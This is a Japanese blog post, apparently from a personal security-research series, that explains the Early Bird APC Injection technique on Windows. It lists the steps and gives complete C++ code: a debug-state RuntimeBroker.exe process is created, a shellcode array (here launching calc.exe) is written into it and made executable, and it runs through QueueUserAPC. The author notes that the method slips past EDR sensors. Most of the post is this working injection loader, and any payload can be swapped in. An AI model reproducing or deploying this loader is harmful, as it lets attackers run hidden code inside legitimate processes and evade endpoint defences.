見出し画像

#162 Early Bird APC Injection

 以前、APC Injectionについて記事にしました。

 これは、ローカルプロセスにAlertableなスレッドを生やすというアプローチでした。リモートプロセスで同じことをしようとすると、スレッドをAlertableにするAPIが使われていないといけないので、ハードルが少し高くなります。
 APCは、スレッドがAlertableなときに加え、Suspendedなときにも実行できます。Early Bird APC Injectionは、Suspendedなスレッドを立ち上げるアプローチでコード実行を達成します。Suspendedなスレッドを用意するには、以下の方法があります。

  1. CREATE_SUSPENDEDなプロセスを生成

  2. DEBUG_PROCESSなプロセスを生成

今回は、2の方法でやってみましょう。

流れ

Early Bird APC Injectionの流れを整理します。

  1. DEBUG_PROCESSなプロセスを生成

  2. 生成したプロセスにシェルコードを書き込む

  3. QueueUserAPCでシェルコードのアドレスを指定

  4. DebugActiveProcessStopでプロセスのデバッグ状態を解除

コード

calc.exeを実行する例です。


#include <iostream>
#include <Windows.h>

// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)


unsigned char buf[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
	CHAR lpPath[MAX_PATH * 2];
	CHAR WnDr[MAX_PATH];

	STARTUPINFOA Si = { 0 };
	PROCESS_INFORMATION Pi = { 0 };

	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFOA));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	Si.cb = sizeof(STARTUPINFOA);

	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA failed with error: %d\n", GetLastError());
		return FALSE;
	}

	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
	printf("[i] Running: %s\n", lpPath);

	if (!CreateProcessA(NULL, lpPath, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &Si, &Pi)) {
		printf("[!] CreateProcessA failed with error: %d\n", GetLastError());
		return FALSE;
	}

	printf("[+] Done\n");

	*dwProcessId = Pi.dwProcessId;
	*hProcess = Pi.hProcess;
	*hThread = Pi.hThread;

	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL) {
		return TRUE;
	}

	return FALSE;
}

BOOL InjectPayload(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode, PVOID* ppAddress) {
	SIZE_T sNumberOfBytesWritten = NULL;
	DWORD dwOldProtection = NULL;
	BOOL bState = FALSE;

	*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (*ppAddress == NULL) {
		printf("[!] VirtualAallocEx failed with error: %d\n", GetLastError());
		return FALSE;
	}

	bState = WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten);
	if (!bState || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("[!] WriteProcessMemory failed with error: %d\n", GetLastError());
		return FALSE;
	}

	bState = VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection);
	if (!bState) {
		printf("[!] VirtualProtectEx failed with error: %d\n", GetLastError());
		return FALSE;
	}
	return TRUE;
}

int main()
{
	HANDLE hProcess = NULL;
	HANDLE hThread = NULL;
	DWORD dwProcessId = NULL;
	PVOID pAddress = NULL;

	// create process in DEBUG_PROCESS state
	if (!CreateSuspendedProcess("RuntimeBroker.exe", &dwProcessId, &hProcess, &hThread)) {
		return -1;
	}

	printf("[+] Process ID: %d\n", dwProcessId);

	// write payload
	if (!InjectPayload(hProcess, buf, sizeof(buf), &pAddress)) {
		return -1;
	}
	printf("[+] Payload Address: %p\n", pAddress);

	// queue APC
	QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL);

	// detach debug process
	DebugActiveProcessStop(dwProcessId);
	getchar();
	CloseHandle(hProcess);
	CloseHandle(hThread);
	return 0;
}


まとめ

 Early Bird APC Injectionは、EDRのセンサがいろいろとセットアップされる前にインジェクションできるため、検知されにくいとのことでした。知識不足なので、あまり下手なこと言えません。この手法を応用した新しいインジェクション手法が最近話題になりました。こちらも近々、検証してみようと思います…

EOF


いいなと思ったら応援しよう!